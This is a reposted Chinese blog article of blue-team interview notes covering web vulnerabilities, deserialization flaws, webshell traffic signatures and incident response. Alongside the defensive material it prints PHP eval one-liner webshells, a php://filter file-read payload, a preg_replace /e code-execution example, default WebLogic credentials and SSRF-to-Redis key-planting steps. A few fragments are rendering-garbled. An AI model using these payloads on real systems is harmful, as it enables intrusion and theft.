护网蓝队面试

在这里插入图片描述

一、sql注入分类

**原理:**没有对用户输入项进行验证和处理直接拼接到查询语句中

查询语句中插⼊恶意SQL代码传递后台sql服务器分析执行

**从注入参数类型分:**数字型注入、字符型注入

**从注入效果分:**报错注入、布尔注入、延时注入、联合注入、堆叠注入、宽字节注入

**从提交方式分:**GET注入、POST注入、HTTP头注入、COOKIE注入

**报错注入用到的函数:**updatexml、floor、extractvalue,exp

**布尔盲注用到的函数:**substr,mid,left,right,ascii,ord,char,length

**时间盲注用到的函数:**sleep

SQL注入防御

  • 对关键函数或字符过滤:union select order by information_schema等
  • 下载相关防范注入文件,通过incloude函数包含在网站配置文件里面
  • pdo预处理,使用预编译语句
  • 添加白名单来规范输入验证方法
  • 对客户端输入进行控制,限制特殊字符和函数的输入

SQL注入绕过waf

  • 大小写双写、双写关键字、空格、
  • 使用编码:unioncode编码 十六进制编码 url编码
  • 等价函数:mid,substr(),substring() &&和||> and 和or =号可以用<>因为如果不大于不小于就是等于

SQL注入写shell条件:

  • 知道web服务器的绝对路径
  • 数据库具有root权限
  • secure_file_priv函数 没有特殊的值
  • PHP关闭魔术引号,php主动转义功能关闭

SQL写入shell的方式:

通过本地写入into outfile函数

通过日志写入需要对 general_log 和 general_log_file 变量进行更改

通过sqlmap --os-shell命令写入

**二次注入:**后端代码对用户输入的数据进行了转义,然后在保存到数据库的时候是没有进行转 义,然后再从数据库当中取出数据的时候,没有对数据库中的特殊字符进行转义和验证,就可能 形成闭合,导致注入

防御:使用统一编码格式utf-8对用户输入的内容进行验证过滤

其他常见漏洞

csrf

**原理:**跨站点请求伪造。盗用用户身份,以用户的名义发送恶意请求

ssrf

**原理:**利用网络请求的服务当跳板攻击内部其他服务

文件包含

**原理:**攻击者通过操纵应用程序对文件路径的处理,将恶意文件包含到应用程序中执行

文件上传

**原理:**对上传文件无限制后缀以及类型或者处理缺陷、导致越过本身权限向服务器上马

绕过方法:

上传特殊可解析后缀

上传.htaccess(可帮助修改文件扩展名)

.user.ini文件里的意思是:所有的php文件都自动包含指定的文件

后缀大小写、双后缀名、空格(黑名单)

MIME、%00截断、0x00截断绕过(白名单)

在url中%00表示ascll码的0 ,而ascii码的0,表示字符串结束,所以当url中出现%00时就会认为读取已结束
0x00原理相同

文件头

xss

**原理:**插入恶意脚本、实现对用户浏览器攻击

**类型:**存储、反射、dom

**反射和dom区别:**DOM-XSS是javascript处理输出、⽽反射性xss是后台程序处理

xxe

**原理:**解析用户传入的xml

**作用:**内⽹端⼝扫描、利⽤file协议等读取⽂件、攻击内⽹web应⽤使⽤get(struts2等)

二、如何判断文件上传一次攻击

响应包是200,返回的有没有路径,请求包的报文内容有没有上传木马,尝试访问路径,能不能执行命令

三、命令执行和代码执行

**命令执行:**Web应用的脚本代码在执行命令的时候过滤不严,从而注入一段攻击者能够控制的代 码,在服务器上以Web服务的后台权限远程执行恶意指令

**原因:**代码层过滤不严,系统的漏洞造成命令注入,调用的第三方组件存在代码执行漏洞常见执行 函数:exec、shell_exec、system、passthru、popen

**代码执行:**由于服务器对危险函数过滤不严,导致用户输入的一些字符串可以被转换成代码来执行, 从而造成代码执行

**原因:**用户能够控制函数输入,存在可执行代码的危险函数,常见执行函数:eval、assert、 preg_replace()

四、CSRF 和 XSS 和 XXE 有什么区别

XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。

修复方式: 对字符实体进行转义

使用HTTP Only来禁止JavaScript读取Cookie值

输入时校验

浏览器与Web应用端采用相同的字符编码

CSRF是跨站请求伪造攻击,是由于没有在关键操作执行时进行是否由用户自愿发起的确认,模仿合法用户对服务器发起请求 。

修复方式: 筛选出需要防范CSRF的页面然后嵌入Token

再次输入密码

检验Referer

XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。

修复方式: XML解析库在调用时严格禁止对外部实体的解析

五、一些漏洞

shiro是apache的java安全框架,用于执行身份验证、授权、密码和会话管理

使用shiro易于理解的API(程序接口),可以快速轻松对应用程序进行保护

Shiro550原理导致shiro反序列化的主要原因就是shiro提供的记住密码功能,当用户打开这个功 能时会在请求包中生成一个cookie,cookie的value值是经过序列化->aes加密->base64加密后 的字符串,关键在于aes加密的秘钥是默认的,如果没有修改这个秘钥,就会导致反序列化漏洞, 攻击者可以构造恶意代码,将恶意代码序列化-AES加密-base64加密后传入cookie,这样就导致 RCE漏洞。

Shiro 721原理Shrio所使用的cookie里的rememberMe字段采用了AES-128-CBC的加密模式, 这使得该字段可以被padding oracle 攻击利用。攻击者可以使用一个合法有效的rememberMe 的cookie作为前缀来实施POA,然后制造一个特制的rememberMe来执行Java反序列化攻击。

shrio550和721的区别主要区别

在于Shiro550使用已知默认密码,只要有足够的密码,不需要 Rememberme的Cookie;Shiro721的AES加密的key为系统随机生成,需要利用登录后的 rememberMe去爆破正确的key值。利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,再去构造反序列化攻击。

fastjson反序列化漏洞原理:

fastjson 是一个 有阿里开发的一个开源Java 类库,可以将 Java 对象转换为 JSON 格式(序列化),当然它也可以将 JSON 字符串转换为 Java 对象(反序列化)

1、fastjson提供的反序列化功能允许用户传入json格式数据的时候通过@type的value值指定任 意反序列化类名

2、fastjson的反序列化机制会将反序列的类进行实例化对象,并调用该对象的setter和部分getter方法

3、恶意用户可以构造payload是目标应用的代码执行流程进入这部分setter和getter方法,如果 这些方法中存在Gadget,就会造成一些安全问题。

4、官方采取黑名单过滤的方法,对反序列化的类名进行校验,checkAutoType不断被绕过

log4j2原理:

log4j2是apache下的java应用常见的开源日志库,是一个就Java的日志记录工具

Apache Log4j2中存在JNDI注入漏洞,主要原理是利用log4j2的日志输出jndi远程 对象时,调用远程对象没做检查导致,程序将用户输入的数据进行日志记录时即可触发该漏洞并可 在目标服务器上执行任意代码。该漏洞利用过程需要找到一个能触发远程加载并应用配置的输入 点,迫使服务器远程加载和修改配置的前提下使目标系统通过JNDI远程获取数据库源,触发攻击者的恶意代码

Struts2原理:

将用户要求按照业务逻辑执行并且返回结果

用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式 %{value}进行解析,然后重新填充到对应的表单数据中。

例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行

Weblogic:

漏洞描述:

Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机。T3协议在开放WebLogic控制台端口的应用上默认开启。攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击(开放Weblogic控制台的7001端口,默认会开启T3协议服务,T3协议触发的Weblogic Server WLS Core Components中存在反序列化漏洞,攻击者可以发送构造的恶意T3协议数据,获取目标服务器权限。)

远程攻击者可利用该漏洞在未授权的情况下发送攻击数据,通过T3协议(EJB支持远程访问,且支持多种协议。这是Web Container和EJB Container的主要区别)在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过JRMP协议(Java Remote Messaging Protocol:java远程消息交换协议)达到执行任意反序列化payload的目的。

**T3协议:**用于在Weblogic服务器和其他类型的Java程序之间传输信息的协议。Weblogic会跟踪连接到应用程序的每个Java虚拟机,要将流量传输到Java虚拟机,Weblogic会创建一个T3连接。该链接会通过消除在网络之间的多个协议来最大化效率,从而使用较少的操作系统资源。用于T3连接的协议还可以最大限度减少数据包大小,提高传输速度。

**RMI:**远程方法调用

使用协议:JRMP

T3就是对JRMP的优化。Java RMI 的基础通信协议是 JRMP ,但是也支持开发其他的协议来优 化 RMI 的传输,这里的 Weblogic 的 T3 协议就是其优化版本,相比于JRMP协议多了一些特 性。T3协议传输过程中就是序列化和反序列化方式

**利用:**将原本存在的序列化内容替换成我们payload的序列化内容,在传输完成后,进行反序列 化达成攻击的目的

Jboss

JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免 费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核 心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。

两种利用方式,第一种是利用未授权访问进入JBoss后台进行文件上传的漏洞;另一种是利用Java 反序列化进行远程代码执行的漏洞

弱口令漏洞

system:password
weblogic:weblogic
admin:secruity
joe:password
mary:password
system:sercurity
wlcsystem: wlcsystem
weblogic:Oracle@123

六、webshell管理工具

菜刀

base64加密,php马有eval,(base64_decode ($POST[z0])),&z0=QGluaV9zZXQ

蚁剑

以 0x 开头的参数名,@ini_set(“display_errors”,“0”)

冰蝎

1、大量的 content-type:application,content-type 为 application/octet-stream。

2、默认内置 16 个 ua,content-length 请求长度payload 都为定长

3、Accept头有application/xhtml+xmlapplication/xmlapplication/signed-exchange属于弱 特征

哥斯拉

1、pass =eval(base64_decode…,pass=加密数据

2、user-agent,accept,accept-language 固定

一共会产生3个 POST 数据包,POST请求报文中参数名都是 pass (即shell的连接密码),参 数值都是加密数据。

七、windows+Linux应急响应流程

检查系统账号安全查看服务器是否有弱口令

远程管理端口是否对公网开放

查看服务器是否存在可疑账号、新增账号

查看服务器是否存在隐藏账号、克隆账号

检查异常端口、进程

检查启动项、计划任务、服务

查看可疑文件和目录

查看webshell创建的时间

Windows入侵排查思路

1.检查系统账号安全 2.查看服务器是否有弱口令,远程管理端口(3389)是否对公网开放(使用 netstat -ano 命令、或者问服务器管理员) 3.lusrmgr.msc(本地用户和本地用户组) 快捷命令查 看服务器是否存在可疑账号、新增账号,如有管理员群组的(Administrators)里的新增账户, 如有,请立即禁用或删除掉 4.用 D 盾或者注册表(regedit)中查看服务器是否存在隐藏账号、克隆 账号 5.结合日志,查看管理员登录时间、用户名是否存在异常,使用eventvwr.msc打开“事件查 看器”,导出 Windows 日志–安全,利用 Log Parser 进行分析 6.检查异常端口、进程 netstat - ano检查端口连接情况,是否有远程连接、可疑连接 然后使用 tasklist |findstr PID 进行定位 7. 使用快捷命令 msconfig查看是否存在命名异常的启动项目, 输入regedit注册表中查看开机启动项是否正常,输入gpedit.msc查看本地组策略,使用services.msc检查是否有异常服务 8.检查系统相关信息 systeminfo查看系统版本以及补丁信息 查找可疑目录及文件

Linux入侵排查思路

bash的账户,正常为/nologin 2.查看本机开启端口服务信息 netstat -anlutp,然后去查看每个开 启服务所产生的日志信息 (var/log目录下)(举例如何查看mysql日志,首先登录mysql,然后 使用 show variables like ‘%general_log%’ 查看日志是否开启和路径信息) 二、 服务入侵排查 1.使用last命令检查系统登录日志,统计ip登录错误次数和登录情况 2.使用 ls -l 查看 /etc/passwd文件 的修改时间 查看是否有特权用户 查看网站开启的端口ss -anlutp 3.使用ps - elf 看UID为0的进程 查看ssh的公钥是否被修改 4.查看网站根目录(/var/www)下是否存在可疑 文件 5.查看计划任务 /etc/crontab 三、异常启动排查 1.ps -elf 查看进程 2.查看linux 系统服务 /etc/rc.d/init.d 3.查看用户自定义开机启动程序 /etc/rc.d/rc.local

应急响应流程

1、收集信息:搜集客户信息和中毒信息,备份

2、判断类型:判断是否是安全事件、是何种安全事件(勒索病毒、挖矿、断网、ddos等)

3、深入分析:日志分析、进程分析、启动项分析、样本分析

4、清理处置:杀掉恶意进程、删除恶意文件、打补丁、修复文件

5、产出报告:整理并输出完整的安全事件报告

windows应急

1.查看系统账号安全

查看服务器是否有弱口令、可疑账号、隐藏账号、克隆账号、远程管理端口是否对公网开放

win+r(eventwmr.msc)查看系统日志,查看管理员登录时间、用户名是否存在异常

2.检查异常端口、进程

netstat -ano 检查端口连接情况,是否有远程连接、可疑连接

tasklist | findstr "PID"根据pid定位进程

使用功能查杀工具

3.启动项检查、计划任务、服务

检查服务器是否有异常的启动项,msconfig看一下启动项是否有可以的启动

检查计划任务,查看计划任务属性,可以发现木马文件的路径

见擦汗服务自启动,services.msc注意服务状态和启动类型,检查是否有异常服务

4.检查系统相关信息

查看系统版本以及补丁信息 systeminfo

查找可以目录及文件 是否有新建用户目录 分析最近打开分析可疑文件 (%UserProfile%\Recent)

5.自动化查杀

使用360 火绒剑 webshell后门可以使用d盾 河马等

6.日志分析

360星图日志分析工具 ELK分析平台

linux应急

1、检查用户及密码文件/etc/passwd、/etc/shadow 是否存在多余帐号,主要看一下帐号后面 是否是 nologin,如果没有 nologin 就要注意;

2、通过 who 命令查看当前登录用户(tty 本地登陆 pts 远程登录)、w 命令查看系统信息,想 知道某一时刻用户的行为、uptime查看登陆多久、多少用户,负载;

3、修改/etc/profile的文件,在尾部添加相应显示间、日期、ip、命令脚本代码,这样输入 history命令就会详细显示攻击者 ip、时间历史命令等;

4、用 netstat -antlp|more命令分析可疑端口、IP、PID,查看下 pid 所对应的进程文件路径, 运行ls -l /proc/ P I D / e x e 或 f i l e / p r o c / PID/exe 或 file /proc/ PID/exefile/proc/PID/exe($PID 为对应的pid 号);

5、使用ps命令,分析进程 ps aux | grep pid

6、使用 vi /etc/inittab 查看系统当前运行级别,通过运行级别找到/etc/rc.d/rc[0~6].d对应目录 是否存在可疑文件;

7、看一下crontab定时任务是否存在可疑启用脚本;

8、使用chkconfig --list 查看是否存在可疑服务;

9、通过grep awk命令分析/var/log/secure安全日志里面是否存在攻击痕迹;

10、chkrootkit、rkhunter、Clamav 病毒后门查杀工具对 Linux 系统文件查杀;

11、如果有 Web 站点,可通过 D 盾、河马查杀工具进行查杀或者手工对代码按脚本木马关键 字、关键涵数(evel、system、shell_exec、exec、passthru system、popen)进行查杀 Webshell 后门。

八、windows事件ID

事件ID说明
4624登录成功
4625登录失败
4634注销成功
4647用户启动的注销
4672使用超级用户(如管理员)进行登录
4720创建用户

九、sql注入

如何判断是攻击还是误报

第一时间去判断内网还是外网,内网大部分都是172 192 10 如果是内网对内网,大概率是真实业务,很少见打到内网,查询字段内容,响应包是否是正常业务,看状态码判断攻击成功

如果是外网,先去看状态码 如果是200,微步平台看是否是恶意ip 先上报封禁,攻击报文如果是正常业务 那我们对这个业务监控,如果是sql语句攻击,看里面报文的攻击语句,比如常见sleep函数延时注入,extractvalue、updatexml函数 的报错注入,把攻击行为给客服反馈过去

十、ssrf打redis

ssrf扫描内网,端口6379redis,然后redis未授权漏洞利用

利用dict协议可以扫描开放的端口,探测指纹信息,可以攻击redis服务 dict://ip:port/info 截获get请求包和post请求包,再构造成符合gopher协议的请求,从而模拟redis通信

更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)并设置上传公钥的备份文件名字 为authorized_keys,将一开始生成的SSH公钥写入authorized_keys文件中。

十一、PHP一句话木马

<?php @eval($_GET['cmd']); ?>
<?php @eval($_POST['cmd']); ?>
<?php @eval($_REQUEST['cmd']); ?>
<script language="php">eval($_GET['cmd']);</script>
GIF89a? <script language="php">eval($_REQUEST['mima'])</script>

十二、序列化反序列化及其流量特征

**序列化:**对象转换为字符串

**反序列化:**字符串转换为对象

流量特征:

**shiro反序列化:**查看cookie中rememberme字段,恶意命令要从这里传入。判断是否有漏洞, 查看返回包set cookie:rememberme=deleteme,验证失败返回的标识符。

**fastjson反序列化:**请求报文中查找json格式的数据,重点看有无rmi或者出网的一些行为

**st2-045:**请求头中的Content-Type字段

十三、常见的设备,出现误报怎么办

奇安信天眼,设备类型:全流量,天眼、EDR、全流量告警、态势感知、APT、蜜罐设备,微步tdp,青藤云HIDS,明御安全网关先去查看设备的完整流量日志等信息确认是否为误报,误报那就是规则问题,上报处置,提供规则优化建议

十四、wireshark指令

http contains “关键字”

http.response.code == 200

http.request.method == POST

tcp.prot == 80

ip.addr == "10.1.1.1"ip.srcip.dst

十五、中挖矿病毒怎么解决

首先ps -aux查看进程分析

然后top 分析算力,挖矿用到的算力比较多,对流量进行过滤,含有矿池服务器的流量就是挖矿病毒

最后kill进程,rm掉程序

删不掉这么办

先下线,然后检查挖矿是否有在内网传播及时下线所有被传播的主机、上机排查攻击痕迹、一般 可以从cpu占用情况,可以进程、开放端口、计划任务、服务项几个方面排查

将样本上传到在线分析平台,清除挖矿主程序主要就是双向封禁矿池地址、删除计划任务自启 动、删服务,结束恶意进程、删病毒

**删不掉:**确认一下一下是因为程序在使用,还是权限不够,更具具体情况采取措施 直接降权,降权到没有执行权限

十六、拿到webshell不出网情况下怎么办

reg上传去正向连接。探测出网协议,如dns,icmp

十七、怎么排查java内存马

直接利用内存马检测工具去找,github也有很多检测脚本,手工的话可以分析web日志,filter或者listener类型的内存马,会有大量路径相同参数不同的url请求,或者页面不存在但是返回200的请求,分析web.xml文件,内存马的Filter是动态注册的,web.xml是没有配置的,也有可能是中间件漏洞通过代码执行加载内存马,这就可以去排查中间件的错误日志,像哥斯拉和冰蝎的内存马也会有跟webshell相似的特征,分析特殊的classloader加载,攻击者喜欢利用TemplatesImpl和bcel加载内存马,因为内存马是驻留在内存里的,本地无class文件,通过检测Filter对应的ClassLoader目录下是否存在class文件来判断,也可以把内存中所有的Filter的class dump出来,使用工具分析是否存在恶意代码

十八、蜜罐原理

**创建虚拟环境:**在网络中创建一个看似易受攻击的虚拟环境,该环境模拟真实系统的一部分或全 部功能,包括应用程序、服务和操作系统。

**引诱攻击者:**通过暴露蜜罐的存在,例如通过公开可访问的IP地址或虚假的网站,吸引攻击者主 动尝试入侵、扫描或攻击蜜罐系统。

**监测和记录:**一旦攻击者进入蜜罐系统,蜜罐会记录攻击者的行为、攻击技术和使用的工具。 这些信息对于理解攻击者的策略和行为非常有价值。

**分析和响应:**通过分析记录的数据,研究人员可以识别攻击者的行为模式、漏洞利用方法和漏洞 的目标。

这些信息可以用于改进真实系统的安全性,及时发现和应对新的威胁。 蜜罐的优势在于能够提供高质量的攻击数据和情报,帮助安全团队更好地了解攻击者的行为模式和目的,加强防御措施并及时应对威胁。

然而,蜜罐也需要专业人员来设计、部署和管理,以确保其安全性和有效性,并避免对真实系统 造成潜在的风险。

十九、内存马查杀&原理

java内存马原理

通过在Java虚拟机(JVM)中运行的恶意代码,实现对被攻击者系统的远程控制。其原理是通过在Java虚拟机中注入特定的Java类、变量或方法等Java对象,然后在Java虚拟机中运行这些代码,实现对受害者机器的远程控制

java内存马排查

利用Java Agent技术遍历所有已经加载到内存中的class。 先判断是否是内存马,是则进入内存查杀。

识别

1,filter名字很特别

2,filter优先级是第一位

3,对比web.xml中没有filter配置

4,特殊classloader加载

5,对应的classloader路径下没有class文件

6,Filter的doFilter方法中 有恶意代码

清除

1、清除内存马中的Filter的恶意代码,2、 模拟中间件注销Filter

二十、常见的危险PHP函数总结

eval() — 把字符串作为PHP代码执行

语法eval( string $code ) : mixed

把字符串 code 作为PHP代码执行。

这个函数一般都是攻击者用的,没什么人会拿这个放到自己的源码里面

PHP官方也给出了警告

image-20240627111043558

assert() — 检查一个断言是否为 false (把字符串作为PHP代码执行)

语法

PHP 5

assert( mixed $assertion , string $description = ? ) : bool

PHP 7

assert( mixed $assertion , Throwable $exception = ? ) : bool

assert()会检查指定的 assertion 并在结果为 false 时采取适当的行动(把字符串 $assertion 作为PHP代码执行)

preg_replace — 执行一个正则表达式的搜索和替换

语法

preg_replace( mixed $pattern , mixed $replacement , mixed $subject , int KaTeX parse error: Expected 'EOF', got '&' at position 18: …mit = -1 , int &̲count = ? ) : mixed

搜索 subject 中匹配 pattern 的部分,以 replacement 进行替换。

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码

preg_replace("/test/e",$_GET["h"],"jutst test");

如果我们提交 ?h=phpinfo(),/e就会将h参数当做PHP代码,phpinfo()将会被执行。

引发命令执行的危险函数

system — 执行外部程序,并且显示输出

说明

system( string $command , int &$return_var = ? ) : string

同 C 版本的 system()函数一样, 本函数执行 command 参数所指定的命令, 并且输出执行结果。

如果 PHP 运行在服务器模块中, system()函数还会尝试在每行输出完毕之后, 自动刷新 web服务器的输出缓存。

如果要获取一个命令未经任何处理的 原始输出,请使用 passthru()函数。

举个例子

<?php system("whoami");?>

image-20240627111507963

exec — 执行一个外部程序

exec()执行 command 参数所指定的命令

举个例子

<?php echo exec("whoami");?>

image-20240627111548732

shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字 符串的方式返回。

<?php echo shell_exec("whoami");?>

passthru — 执行外部程序并且显示原始输出

<?php passthru("whoami");?>
引发文件包含的危险函数

主要作用为包含并运行指定文件。

  1. include():代码执行到此函数时才将文件包含进来,发⽣错误时只警告并继续执行
  2. include_once():功能和前者一样,区别在于调用同一文件时,程序只调用一次
  3. require():立即调用此函数包含文件,发⽣错误时,会输出错误信息 并⽴即终⽌程序
  4. require_once():功能和前者一样,区别在于调用同一文件时,程序只调用一次

include $file;

在变量 $file 可控的情况下,我们就可以包含任意文件,从而达到 getshell 的目的。

另外,在不同的配置环境下,可以包含不同的文件。

因此又分为远程文件包含和本地文件包含。

包含函数也能够读取任意文件内容,这就需要用到【支持的协议和封装协议】和【过滤器】。

例如,利用php流filter读取任意文件

include($_GET[‘file’]);

?file=php://filter/convert.base64-encode/resource=index.php

解释:?file=php:// 协议 / 过滤器 / 文件

引发文件操作的危险函数

copy

file_get_contents()

highlight_file()

fopen()

read file()

fread()

fgetss()

fgets()

parse_ini_file()

show_source()

file()

任意文件读取、写入、删除往往是上面几个函数受到了控制(当然还有其他的函数)。 不同的函数在不同的场景有不同的作用和不同的利用手法。

读取:可以读取配置等文件,拿到key

写入:可以写入shell代码相关的内容

删除:可以删除.lock文件而可以重新安装覆盖

更多思路请自行挖掘测试!!

引发信息泄露的危险函数

phpinfo — 输出关于 PHP 配置的信息

getenv — 获取一个环境变量的值

get_current_user — 获取当前 PHP 脚本所有者名称

getlastmod — 获取页面最后修改的时间

ini_get — 获取一个配置选项的值

glob — 寻找与模式匹配的文件路径

引发XEE的危险函数

__construct()

addAttribute()

addChild()

asXML()

attributes()

children()

getDocNamespaces()

getName()

getNamespaces()

registerXPathNamespace()

simplexml_import_dom()

simplexml_load_file()

simplexml_load_string()

xpath()

引发反序列化的危险函数

序列化函数:serialize()

反序列化函数:unserialize()

魔术函数:

__construc()

__destruct()

__call()

__callStatic()

__get()

__set()

__isset()

__unset()

__sleep()

__wakeup()

__toString()

__invoke()

__set_state()

__clone()

__debuginfo()

二十一、Java危险函数

Java命令执行的函数

Runtime类

Runtime类是私有的, 类的对象无法通过这种方式注册: Runtime r = new Runtime() ;

只能通过静态方法(getRuntime)获取: Runtime r = Runtime.getRuntime();

ProcessBuilder类

这种复现本质意义不大,重点是记一下敏感函数,

rce2Servlet.java

ProcessImpl类ProcessImpl类通常是为ProcessBuilder.start()创建新进 程服务的,不能直接去调用。

看到ProcessImpl类构造器私有,所以不能直接对其进行实例化,为了演示可以用反射进行调 用。

在获取到一个静态方法后,必须用setAccessible修改它的作用域,否则不能调用。

二十二、如何快速判定xss类型

存储型xss:

发送⼀次带XSS代码的请求,以后这个⻚⾯的返回包⾥都会有XSS代码

反射型xss:

发送⼀次带XSS代码的请求,只能在当前返回的数据包中发现XSS代码

dom型xss:

发送⼀次带XSS代码的请求,在返回包⾥压根⼉就找不到XSS代码的影⼦

二十三、csrf、ssrf和重放攻击有什么区别

CSRF是跨站请求伪造攻击,由客户端发起

SSRF是服务器端请求伪造,由服务器发起

重放攻击是将截获的数据包进⾏重放,达到身份认证等⽬的

常见对应端口及服务

image-20240610192109884

设备

安全设备
奇安信天眼
设备类型:全流量
大致使用方法
天眼首页截图:

左边监测控制台,打开,有告警信息:

分析时觉得IP有问题可以在攻击IP中搜索

打开告警列表(奇安信网神?):

点击详情,显示如下内容:

微步tdp/tip
TDP的
主页面:

主要点击外部攻击的外部攻击项

告警主机项,上面可以查询IP:

内网渗透分析,被攻陷后可以看网络拓扑:

优势项:自动识别一些恶意IP,即答:tdp威胁情报发现有利于溯源分析


青藤云HIDS
设备类型:全流量
大致使用方法
主页面,主机资产,安全台账功能,将可疑IP放到里面点击主机详情,看是不是内部IP:

点击入侵事件,查看告警,点击告警的漏洞名称,可以跳到类似于天眼的详情信息页面

可以查日志,筛选IP/域名/进程进行查询

优势项:可以直接发现暴力破解,不需要人工添加规则

明御安全网关
总结优势
HIDS:对全网信息捕捉

微步:

攻击发现,会显示攻击者画像 方便溯源分析
威胁情报发现,发现恶意IP
亚信:ei拦截的恶意文件会自动在an中运行检测生成报告

ddei邮件网关,过滤垃圾邮件,对恶意文件隔离
ddan沙箱(=微步云沙箱):检测恶意文件,分析恶意样本,收集攻击信息,生成行为报告

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/368437.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

day04-组织架构

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 1.组织架构-树组件应用树形组件-用层级结构展示信息&#xff0c;可展开或折叠。 2.组织架构-树组件自定义结构3.组织架构-获取组织架构数据4.组织架构-递归转化树形…

02-部署LVS-DR群集

1.LVS-DR工作原理 LVS-DR模式&#xff0c;Director Server作为群集的访问入口&#xff0c;不作为网购使用&#xff0c;节点Director Server 与 Real Server 需要在同一个网络中&#xff0c;返回给客户端的数据不需要经过Director Server 为了响应对整个群集的访问&#xff0c;…

Docker镜像加速配置

由于当前运营商网络问题&#xff0c;可能会导致您拉取 Docker Hub 镜像变慢&#xff0c;索引可以配置阿里云镜像加速器。阿里云登录 - 欢迎登录阿里云&#xff0c;安全稳定的云计算服务平台 每个人镜像地址都不一样&#xff0c;需要登陆阿里云自行查看&#xff0c;地址在上面&a…

llama-factory训练RLHF-PPO模型

理论上RLHF&#xff08;强化学习&#xff09;效果比sft好&#xff0c;也更难训练。ppo有采用阶段,步骤比较多,训练速度很慢. 记录下工作中使用llama-factory调试rlhf-ppo算法流程及参数配置,希望对大家有所帮助. llama-factory版本: 0.8.2 一 rlhf流程 ppo训练流程图如下, 会…

油猴Safari浏览器插件:Tampermonkey for Mac 下载

Tampermonkey 是一个强大的浏览器扩展&#xff0c;用于运行用户脚本&#xff0c;这些脚本可以自定义和增强网页的功能。它允许用户在网页上执行各种自动化任务&#xff0c;比如自动填写表单、移除广告、改变页面布局等。适用浏览器&#xff1a; Tampermonkey 适用于多数主流浏览…

Golang | Leetcode Golang题解之第201题数字范围按位与

题目&#xff1a; 题解&#xff1a; func rangeBitwiseAnd(m int, n int) int {for m < n {n & (n - 1)}return n }

二叉树与堆相关的时间复杂度问题

目录 满二叉树与完全二叉树高度h和树中节点个数N的关系 向上调整算法&#xff1a; 介绍&#xff1a; 复杂度推导&#xff1a; 向下调整算法&#xff1a; 介绍&#xff1a; 复杂度推导&#xff1a; 向上调整建堆&#xff1a; 介绍&#xff1a; 复杂度推导&#xff1a;…

Web Based Quiz System v1.0 SQL 注入漏洞(CVE-2022-32991)

前言 CVE-2022-32991 是一个影响 Web Based Quiz System v1.0 的 SQL 注入漏洞。这个漏洞存在于 welcome.php 文件中的 eid 参数处。攻击者可以通过此漏洞在数据库中执行任意 SQL 语句&#xff0c;从而获取、修改或删除数据库中的数据。 具体细节如下&#xff1a; 攻击向量&…

无人机森林火灾解决方案

森林火灾解决方案 森林火灾特点 森林火灾发生突然、蔓延迅速、难以控制&#xff0c;应对难度系 数很高&#xff0c;扑救工作十分困难 救援面临的挑战 • 林区交通不便&#xff0c; 山高坡陡&#xff0c; 沟壑纵横&#xff0c;难以及时侦查、 定位、扑灭 • 火灾发生的区域…

基于opencv的斜光测距及python实现

1.前言 最近做了一个基于opencv的斜光测距的小项目&#xff0c;东西不多&#xff0c;但是很有意思&#xff0c;值得拿出来学一学。项目里面需要比较精确的定位功能&#xff0c;将前人matlab代码移植到python上&#xff0c;并且做了一些优化&#xff0c;简化逻辑(毕竟我是专业的…

马工程刑法期末复习笔记重点2

马工程刑法期末复习笔记重点2

【JavaWeb程序设计】环境配置和Web工程的创建

目录 一、安装JDK、Tomcat&#xff0c;进行测试Tomcat能否正常启动。 二、修改Tomcat端口为8976&#xff0c;重新进行测试 三、使用集成开发环境Intelligent Idea&#xff0c;绑定JDK和Tomcat&#xff0c;建立站点&#xff0c;并测试 四、编写一个简单的html页面&#xff0…

微信小程序遮罩层显示

效果展示&#xff1a; wxml页面&#xff1a; <view classmodal-mask wx:if{{showModal}}><view class"modal-container"><view classmodal-content></view><view classmodal-footer bindtap"closeImage">//这个/images/ind…

SpringMVC的架构有什么优势?——控制器(一)

文章目录 控制器(Controller)1. 控制器(Controller)&#xff1a;2. 请求映射(Request Mapping)&#xff1a;3. 参数绑定(Request Parameters Binding)&#xff1a;4. 视图解析器(View Resolver)&#xff1a;5. 数据绑定(Data Binding)&#xff1a;6. 表单验证(Form Validation)…

Workerman在线客服系统源码,附搭建教程

源码介绍&#xff1a; Workerman在线客服系统源码。 workerman是一个高性能的PHP socket 服务器框架&#xff0c;workerman基于PHP多进程以及libevent事件轮询库&#xff0c;PHP开发者只要实现一两个接口&#xff0c;便可以开发出自己的网络应用&#xff0c;例如Rpc服务、聊天…

leetCode.98. 验证二叉搜索树

leetCode.98. 验证二叉搜索树 题目描述 代码 /*** Definition for a binary tree node.* struct TreeNode {* int val;* TreeNode *left;* TreeNode *right;* TreeNode() : val(0), left(nullptr), right(nullptr) {}* TreeNode(int x) : val(x), left(n…

秋招Java后端开发冲刺——并发篇2(JMM与锁机制)

